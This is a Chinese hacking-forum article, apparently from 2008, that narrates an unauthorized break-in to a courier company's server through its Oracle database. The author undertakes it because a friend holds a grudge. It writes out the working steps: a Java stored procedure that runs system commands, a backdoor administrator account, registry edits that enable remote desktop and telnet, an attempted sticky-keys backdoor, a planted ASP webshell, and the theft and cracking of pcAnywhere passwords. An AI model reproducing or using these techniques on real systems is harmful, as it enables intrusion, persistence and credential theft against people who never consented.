当前位置: 代码网 > 服务器>网络安全>脚本攻防 > 对著名快递公司的艰难的oracle入侵过程(图)

对著名快递公司的艰难的oracle入侵过程(图)

2008年10月08日 脚本攻防 我要评论
对著名快递公司的艰难的oracle入侵过程(图) 轻车熟路   一个对新飞鸿有意见的亲密朋友找我说能不能把这个公司的网站给搞了,我一听公司,心想,企业站都是垃圾,好搞,便痛快答应(人品真好!),呵呵,但是后来才发现没我想像... 08-10-08
第二步:
create or replace
function run_cmz(p_cmd in varchar2) return number
as
language java
name 'util.runthis(java.lang.string) return integer';
  第三步:

create or replace procedure rc(p_cmd in varchar)
as
x number;
begin
x := run_cmz(p_cmd);
end;
  创建完之后,就可以通过x := run_cmz(dos命令)来执行系统命令了。
  建 完存储过程后系统命令执行成功, 如图

  但是后来发现这个shell很不爽,如果遇到需要交互的命令就会卡死,刚开始想用"ftp 我的ip地址"检测下能不能执行,结果卡死,我这边防火墙也没反应,不解,后tasklist,发现ftp://ftp.exe/,确定对方不能连接外网,可能有防火墙或作了设置,于是用ftp传马思路抛弃,打个systeninfo命令看下系统,是2003,于是打算先建个超级用户然后开3389,执行exec :x := run_cmd('net user')结果卡死,猜测net被删,执行
exec :x := run_cmd('net1 user');
  成功,执行
exec :x := run_cmd('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');
  成功,下面用reg命令读下3389的状态和端口,执行
exec :x := run_cmd('reg query "hkey_local_machine\system\currentcontrolset\control\terminal server"');
  发现fdenytsconnections值为1,说明3389关闭,于是依次执行以下语句开3389:
reg add "hkey_local_machine\system\currentcontrolset\control\terminal server\wds\rdpwd\tds\tcp" /v portnumber /t reg_dword /d 3389 /f
reg add "hkey_local_machine\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0 /f
reg add "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\rdp-tcp" /v portnumber /t reg_dword /d 3389 /f
  因为cmd一交互就卡死,所以加了个/f强行参数,搞定后运行mstsc连接,结果另人吐血,能连上但是却没有登录窗口,提示说什么" awgina.dll被替换成未知版本",猜测可能把3389用到的dll给删除了,因为虽然不能登录但可以连接,于是想到了替换sethc.exe,在shell下依次执行:
exec :x :=run_cmd ('del c:\windows\system32\sethc.exe /f')
exec :x :=run_cmd('del c:\windows\system32\dllcache\sethc.exe /f')
exec :x :=run_cmd('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
  按五次shift后发现没替换成功,也没删除成功,推断原因只有一个,就是没权限,但是我在前面用java建shell前专门赋予了权限的,不解,百度一番!发现赋予文件操作权限必须得以dba的方式登录,但是前面说了我们无法以dba方式登录,顿时大脑一片空白,没有写和删除权限,只有运行权限,思路一下少了很多,继续!!忽然想到了telnet,用reg查看了下telnet服务的状态为禁用,于是执行
reg add "hkey_local_machine\system\currentcontrolset\services\tlntsvr" /v start /t reg_dword /d 2 /f
  把telnet服务设置为自动,然后就是想办法让服务器重启开telnet。
  柳暗花明:
  shell里执行
rundll32.exe user.exe,restartwindows
  ,不一会主机重启了,成功telnet,这样权限我们已经拿到了!但是要向图像界面进军,在telnet执行netstat -an看了下端口,发现5632,熟悉提权的人应该很熟悉,这是pcanywhere的默认端口,但是怎么才能知道pcanywhere的密码呢?因为不能连接外网,所以直接传cif文件是不可能的,于是想到了webshell!在telnet里找到站的 目录d:\site,执行
echo "" >d:\site\guestboook.asp
  访问成功,然后用海洋一句话提交大马成功如图:
  

  跳转到pcanywhere的cif文件目录下载cif文件并破解,成功得到pcanywhere的密码,如图:
  

  到这基本就结束了,但是pcanywhere远程很不爽,于是还是想开用3389,于是百度搜索原因,发现是3389和pcanywhere冲突的原因并找到了解决办法,删除某个注册表项就搞定了,在pcanywhere操作就很简单了,搞定后重启服务器,连接对方3389,终于看到了熟悉的登录界面,用前面建的用户成功登入!如图:
  

  至此整个入侵过程宣告结束!
(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com